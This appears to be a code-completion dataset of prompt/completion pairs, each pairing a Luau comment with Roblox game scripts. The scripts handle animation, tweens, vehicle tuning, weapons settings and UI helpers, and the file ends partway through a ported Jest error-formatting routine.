+{"prompt": "-- when a player clicks on the vending machine, ask if they want to buy bloxy cola", "completion": "\nscript.Parent.ClickDetector.MouseClick:connect(function(player)\n\tGame:GetService(\"MarketplaceService\"):PromptPurchase(player, bloxyColaId)\nend)\n"} +{"prompt": "-- same as jump for now", "completion": "\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = 3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = 1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n \n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n \n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\tlocal climbFudge = 0\n\t\n\tif (pose == \"Running\") then\n\t\tRightShoulder.MaxVelocity = 0.15\n\t\tLeftShoulder.MaxVelocity = 0.15\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Climbing\") then\n\t\tRightShoulder.MaxVelocity = 0.5 \n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tamplitude = 1\n\t\tfrequency = 9\n\t\tclimbFudge = 3.14\n\telse\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\tend\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\n\tRightShoulder.DesiredAngle = desiredAngle + climbFudge\n\tLeftShoulder.DesiredAngle = desiredAngle - climbFudge\n\tRightHip.DesiredAngle = -desiredAngle\n\tLeftHip.DesiredAngle = -desiredAngle\n\n\n\tlocal tool = getTool()\n\n\tif tool then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "--!nonstrict\n-- Marker used to specify that the value is nothing, because nil cannot be\n-- stored in tables.", "completion": "\nlocal None = newproxy(true)\nlocal mt = getmetatable(None)\nmt.__tostring = function()\n\treturn \"Object.None\"\nend\n\nreturn None\n"} +{"prompt": "--Smoothlerp for lua. \"Zeno would be proud!\"\n--Use it in a feedback loop over multiple frames to converge A towards B, in a deltaTime safe way\n--eg: cameraPos = SmoothLerp(cameraPos, target, 0.5, deltaTime)\n--Handles numbers and types that implement Lerp like Vector3 and CFrame", "completion": "\n\nfunction MathUtils:SmoothLerp(variableA, variableB, fraction, deltaTime)\n\n local f = 1.0 - math.pow(1.0 - fraction, deltaTime)\n\n if (type(variableA) == \"number\") then\n return ((1-f) * variableA) + (variableB * f)\n end\n\n return variableA:Lerp(variableB, f)\nend\n\nreturn MathUtils\n"} +{"prompt": "-- duplicated from ReactElementType to avoid circular dep", "completion": "\ntype Source = {\n\tfileName: string,\n\tlineNumber: number,\n}\n"} +{"prompt": "-- VIP SERVER OWNER", "completion": "\nVipServerOwner = \"NonAdmin\";\n\n"} +{"prompt": "-- Constants", "completion": "\nlocal DEBUG = false\t\t\t\t\t\t\t\t-- Whether or not to use debugging features of FastCast, such as cast visualization.\nlocal BULLET_SPEED = 1000\t\t\t\t\t\t\t-- Studs/second - the speed of the bullet\nlocal BULLET_MAXDIST = 1000\t\t\t\t\t\t\t-- The furthest distance the bullet can travel \nlocal BULLET_GRAVITY = Vector3.new(0, 0, 0)\t\t-- The amount of gravity applied to the bullet in world space (so yes, you can have sideways gravity)\nlocal MIN_BULLET_SPREAD_ANGLE = 1\t\t\t\t\t-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The least accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. Generally you want to keep this at 0 so there's at least some chance of a 100% accurate shot.\nlocal MAX_BULLET_SPREAD_ANGLE = 1\t\t\t\t\t-- THIS VALUE IS VERY SENSITIVE. Try to keep changes to it small. The most accurate the bullet can be. This angle value is in degrees. A value of 0 means straight forward. This cannot be less than the value above. A value of 90 will allow the gun to shoot sideways at most, and a value of 180 will allow the gun to shoot backwards at most. Exceeding 180 will not add any more angular varience.\nlocal FIRE_DELAY = .3\t\t\t\t\t\t\t\t-- The amount of time that must pass after firing the gun before we can fire again.\nlocal BULLETS_PER_SHOT = 1\t\t\t\t\t\t\t-- The amount of bullets to fire every shot. Make this greater than 1 for a shotgun effect.\nlocal PIERCE_DEMO = false\t\t\t\t\t\t\t-- True if the pierce demo should be used. See the CanRayPierce function for more info."} +{"prompt": "--// ToDo: Move to common modules", "completion": "\nfunction methods:WaitUntilParentedCorrectly()\n\twhile (not self.GuiObject:IsDescendantOf(game:GetService(\"Players\").LocalPlayer)) do\n\t\tself.GuiObject.AncestryChanged:wait()\n\tend\nend\n"} +{"prompt": "--right", "completion": "\nlocal tween1r = TweenService:Create(Part1R, Tweeninformation, goals1r)\nlocal tween2r = TweenService:Create(Part2R, Tweeninformation, goals2r)\nlocal tween3r = TweenService:Create(Part3R, Tweeninformation, goals3r)\nlocal tween4r = TweenService:Create(Part4R, Tweeninformation, goals4r)\nlocal tween5r = TweenService:Create(Part5R, Tweeninformation, goals5r)\nlocal tween6r = TweenService:Create(Part6R, Tweeninformation, goals6r)\nlocal tween7r = TweenService:Create(Part7R, Tweeninformation, goals7r)\nlocal tween8r = TweenService:Create(Part8R, Tweeninformation, goals8r)\n\nbutton.MouseClick:Connect(function()\n\ttween1l:Play()\n\ttween2l:Play()\n\ttween3l:Play()\n\ttween4l:Play()\n\ttween5l:Play()\n\ttween6l:Play()\n\ttween7l:Play()\n\ttween8l:Play()\n\n\ttween1r:Play()\n\ttween2r:Play()\n\ttween3r:Play()\n\ttween4r:Play()\n\ttween5r:Play()\n\ttween6r:Play()\n\ttween7r:Play()\n\ttween8r:Play()\nend)\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\t\n\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\t\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\t\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tif not Humanoid.AutomaticScalingEnabled then\n\t\t\treturn 1\n\t\tend\n\t\t\n\t\tlocal scale = Humanoid.HipHeight / HumanoidHipHeight\n\t\tif userAnimationSpeedDampening then\n\t\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\t\tend\n\t\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\t\tscale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight\n\t\t\tend\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n\nlocal smallButNotZero = 0.0001\nfunction setRunSpeed(speed)\n\tlocal speedScaled = speed * 1.25\n\tlocal heightScale = getHeightScale()\n\tlocal runSpeed = speedScaled / heightScale\n\n\tif runSpeed ~= currentAnimSpeed then\n\t\tif runSpeed < 0.33 then\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0)\t\t\n\t\t\trunAnimTrack:AdjustWeight(smallButNotZero)\n\t\telseif runSpeed < 0.66 then\n\t\t\tlocal weight = ((runSpeed - 0.33) / 0.33)\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(weight + smallButNotZero)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustWeight(smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(1.0)\n\t\tend\n\t\tcurrentAnimSpeed = runSpeed\n\t\trunAnimTrack:AdjustSpeed(runSpeed)\n\t\tcurrentAnimTrack:AdjustSpeed(runSpeed)\n\tend\t\nend\n\nfunction setAnimationSpeed(speed)\n\tif currentAnim == \"walk\" then\n\t\t\tsetRunSpeed(speed)\n\telse\n\t\tif speed ~= currentAnimSpeed then\n\t\t\tcurrentAnimSpeed = speed\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\tif runAnimTrack.Looped ~= true then\n\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\tend\n\t\telse\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\t\t\t\n\t\t\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\t\t\tif currentAnimTrack.Looped then\n\t\t\t\t\t-- Allow the emote to loop\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\t\tcurrentlyPlayingEmote = false\n\t\t\tend\n\t\t\t\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nlocal function switchToAnim(anim, animName, transitionTime, humanoid)\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\trunAnimTrack = nil\n\t\t\tend\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n\t\t\trunAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\t\t\t\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\tswitchToAnim(anim, animName, transitionTime, humanoid)\n\tcurrentlyPlayingEmote = false\nend\n\nfunction playEmote(emoteAnim, transitionTime, humanoid)\n\tswitchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid)\n\tcurrentlyPlayingEmote = true\nend\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nlocal PreloadAnimsUserFlag = false\nlocal PreloadedAnims = {}\nlocal successPreloadAnim, msgPreloadAnim = pcall(function()\n\tPreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled(\"UserPreloadAnimations\")\nend)\nif not successPreloadAnim then\n\tPreloadAnimsUserFlag = false\nend\n\nmath.randomseed(tick())\n\nfunction findExistingAnimationInSet(set, anim)\n\tif set == nil or anim == nil then\n\t\treturn 0\n\tend\n\t\n\tfor idx = 1, set.count, 1 do \n\t\tif set[idx].anim.AnimationId == anim.AnimationId then\n\t\t\treturn idx\n\t\tend\n\tend\n\t\n\treturn 0\nend\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\tlocal AllowDisableCustomAnimsUserFlag = false\n\n\tlocal success, msg = pcall(function()\n\t\tAllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled(\"UserAllowDisableCustomAnims2\")\n\tend)\n\n\tif (AllowDisableCustomAnimsUserFlag) then\n\t\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\t\tif not success then\n\t\t\tallowCustomAnimations = true\n\t\tend\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\t\n\t\tlocal idx = 0\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\tlocal newWeight = 1\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject ~= nil) then\n\t\t\t\t\tnewWeight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tidx = animTable[name].count\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tanimTable[name][idx].weight = newWeight\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\tend\n\t\tend\n\tend\n\t\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tif PreloadAnimsUserFlag then\n\t\tfor i, animType in pairs(animTable) do\n\t\t\tfor idx = 1, animType.count, 1 do\n\t\t\t\tif PreloadedAnims[animType[idx].anim.AnimationId] == nil then\n\t\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\t\t\tPreloadedAnims[animType[idx].anim.AnimationId] = true\n\t\t\t\tend\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nlocal tweenService = game:GetService(\"TweenService\")\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nfor i,v in pairs(Lift.Car:WaitForChild(\"Welds\"):GetChildren()) do\n\tif v.Part1 == script.Parent.Light then v:Destroy() end\nend\nlocal weld = Instance.new(\"ManualWeld\", This.Button)\nweld.C0 = Lift.Car.Platform.CFrame:inverse() * This.Light.CFrame\nweld.Part0 = Lift.Car.Platform\nweld.Part1 = This.Light\nclick = false\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetLabel(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetLabel(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetLabel(ID,CHAR)\n\tif This.Label:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis.Label[\"DIG\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\tend\nend\n\nChangeFloor(This.Name)\n\nfor x,x in pairs(This.Button:GetChildren()) do \n\tif x:IsA(\"SurfaceGui\") and x.Name == (\"Button\") then \n\t\tx.Button.MouseButton1Click:connect(function()\n\t\t\tif click == false then\n\t\t\t\tclick = true\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(0, 0, -0.002),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\ttweenService:Create(weld,TweenInfo.new(0.1),{\n\t\t\t\t\t[\"C1\"] = weld.C1*CFrame.new(0, 0, 0.002),\n\t\t\t\t}):Play()\n\t\t\t\twait(0.1)\n\t\t\t\tclick = false\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nscript.Parent:WaitForChild(\"CarSeat\");\nlocal l__Value__1 = script.Parent.CarSeat.Value;\nif not game.Workspace.FilteringEnabled then\n\tl__Value__1.Sound:Play();\n\tl__Value__1.Sound2:Play();\n\twhile true do\n\t\tlocal l__magnitude__2 = l__Value__1.Velocity.magnitude;\n\t\tlocal v3 = math.floor(math.sqrt(l__Value__1.Velocity.x ^ 2 + l__Value__1.Velocity.y ^ 2 + l__Value__1.Velocity.z ^ 2));\n\t\tl__Value__1.Sound.Pitch = v3 / 140 + 0;\n\t\tl__Value__1.Sound2.Pitch = v3 / 100 + 0;\n\t\tgame:getService(\"RunService\");\t\n\tend;\nend;\nlocal l__FE_Sounds__4 = l__Value__1.FE_Sounds;\nl__FE_Sounds__4:FireServer(\"playSound\", \"Sound\");\nl__FE_Sounds__4:FireServer(\"playSound\", \"Sound2\");\nwhile true do\n\tlocal l__magnitude__5 = l__Value__1.Velocity.magnitude;\n\tlocal v6 = math.floor(math.sqrt(l__Value__1.Velocity.x ^ 2 + l__Value__1.Velocity.y ^ 2 + l__Value__1.Velocity.z ^ 2));\n\tl__FE_Sounds__4:FireServer(\"updateSound\", \"Sound\", v6 / 140 + 0);\n\tl__FE_Sounds__4:FireServer(\"updateSound\", \"Sound2\", v6 / 100 + 0);\n\tgame:getService(\"RunService\").RenderStepped:wait();\nend;\n"} +{"prompt": "--[[**\n\tensures value is a number where min < value\n\n\t@param min The minimum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMinExclusive(min)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg or \"\"\n\t\tend\n\t\tif min < value then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number > %s expected, got %s\", min, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\n\tHOW TO SETUP:\n\n\t1 - Enable Datastores if you want the stages to save when you leave.\n\t\tDon't know how? Search up 'Enabling Datastores Roblox'\n\n\t2 - Copy and paste the part in Checkpoints for each additional checkpoint.\n\t\t\tMake sure you change the number to whatever checkpoint it is\n\t\n\t3 - Configure the settings below and you're done!\n--]]", "completion": "\n\nlocal SaveData = true -- Do you want your stages to save? (true,false)\nlocal DataName = \"Room\" -- Set to the name of your stats.\n"} +{"prompt": "-- Wait for the player if LocalPlayer wasn't ready earlier", "completion": "\nwhile not Player do\n\twait()\n\tPlayer = PlayersService.LocalPlayer\nend\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 45\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 38\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .07\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 330\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "--[[\n\tFired when Game is entered, transitioning the server state\n]]", "completion": "\nfunction Transitions.onEnterGame(stateMachine, event, from, to)\n\tLogger.trace(\"Server state change: \", from, \" -> \", to)\n\tServerGame.enter(stateMachine)\nend\n"} +{"prompt": "--[[\n\tReturns the amount of centiseconds as human readable with specified format. The format contains \"$\" preceding a time division to be readable by the formatter. \n\tFor example, getFromCentiseconds(20000, \"$minutesm $secondss\") returns \"3m 20s\"\n]]", "completion": "\nfunction ReadableTime.getFromCentiseconds(centiseconds, format)\n\tlocal divisions = getTimeDivisions(centiseconds)\n\n\treturn getTimeString(divisions, format)\nend\n\nreturn ReadableTime\n"} +{"prompt": "-- Thourough check to see if a character is sitting", "completion": "\nlocal function amISitting(character)\n\tlocal t = character.Torso\n\tfor _, part in pairs(t:GetConnectedParts(true)) do\n\t\tif part:IsA(\"Seat\") or part:IsA(\"VehicleSeat\") then\n\t\t\treturn true\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid) \n\t\t\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = true\nmodule.ClassicChatEnabled = PlayersService.ClassicChat\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 200;\n\tStoredAmmo = 200;\n\tMagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 3;\n\t"} +{"prompt": "--[=[\n\t@interface Service\n\t.Name string\n\t.Client ServiceClient\n\t.KnitComm Comm\n\t.[any] any\n\t@within KnitServer\n]=]", "completion": "\ntype Service = {\n\tName: string,\n\tClient: ServiceClient,\n\tKnitComm: any,\n\t[any]: any,\n}\n"} +{"prompt": "-- References\n--local standardBulletModel = game:GetService(\"ReplicatedStorage\").Projectiles.Standard", "completion": "\n\nsetmetatable(weaponTemplate, weaponBase)\n\nfunction weaponTemplate.new(isClient, weaponModel, weaponType, projectileModel, isAutomatic, fireRate, miniGunSpoolTime, coneSpread)\n\tlocal newWeapon = weaponBase.new(isClient, weaponModel, weaponType, projectileModel, isAutomatic, fireRate, coneSpread)\n\tsetmetatable(newWeapon, weaponTemplate)\n\n\tprint(newWeapon.coneSpread)\n\t\n\tnewWeapon.isFiring = false\n\tnewWeapon.spoolTimer = timer.new(miniGunSpoolTime, function() newWeapon.isFiring = true end, true)\n\t\n\n\t\n\t-- Send client weapon details so they can construct it on the client.\n\tif not isClient then\n\t\tcurrency = require(game:GetService(\"ServerScriptService\").Managers.Currency)\n\t\tsetClientWeaponContext_RE:FireClient(newWeapon.ownerPlayer, newWeapon)\n\t\tnewWeapon.rewardTimer = timer.new(1, function() currency.AddPower(newWeapon.ownerPlayer.UserId,5) end, newWeapon.isAutomatic)\n\tend\n\t\n\treturn newWeapon\nend\n\n"} +{"prompt": "--[[\n\tROBLOX deviation: code not ported\n\toriginal code:\nfunction checkForCommonEnvironmentErrors(error: string) {\n if (\n error.includes('ReferenceError: document is not defined') ||\n error.includes('ReferenceError: window is not defined') ||\n error.includes('ReferenceError: navigator is not defined')\n ) {\n return warnAboutWrongTestEnvironment(error, 'jsdom');\n } else if (error.includes('.unref is not a function')) {\n return warnAboutWrongTestEnvironment(error, 'node');\n }\n\n return error;\n}\n\nfunction warnAboutWrongTestEnvironment(error: string, env: 'jsdom' | 'node') {\n return (\n chalk.bold.red(\n `The error below may be caused by using the wrong test environment, see ${chalk.dim.underline(\n 'https://jestjs.io/docs/configuration#testenvironment-string',\n )}.\\nConsider using the \"${env}\" test environment.\\n\\n`,\n ) + error\n );\n}\n\n// ExecError is an error thrown outside of the test suite (not inside an `it` or\n// `before/after each` hooks). If it's thrown, none of the tests in the file\n// are executed.\nexport const formatExecError = (\n error: Error | TestResult.SerializableError | string | undefined,\n config: StackTraceConfig,\n options: StackTraceOptions,\n testPath?: Path,\n reuseMessage?: boolean,\n): string => {\n if (!error || typeof error === 'number') {\n error = new Error(`Expected an Error, but \"${String(error)}\" was thrown`);\n error.stack = '';\n }\n\n let message, stack;\n\n if (typeof error === 'string' || !error) {\n error || (error = 'EMPTY ERROR');\n message = '';\n stack = error;\n } else {\n message = error.message;\n stack =\n typeof error.stack === 'string'\n ? error.stack\n : `thrown: ${prettyFormat(error, {maxDepth: 3})}`;\n }\n\n const separated = separateMessageFromStack(stack || '');\n stack = separated.stack;\n\n if (separated.message.includes(trim(message))) {\n // Often stack trace already contains the duplicate of the message\n message = separated.message;\n }\n\n message = checkForCommonEnvironmentErrors(message);\n\n message = indentAllLines(message, MESSAGE_INDENT);\n\n stack =\n stack && !options.noStackTrace\n ? '\\n' + formatStackTrace(stack, config, options, testPath)\n : '';\n\n if (\n typeof stack !== 'string' ||\n (blankStringRegexp.test(message) && blankStringRegexp.test(stack))\n ) 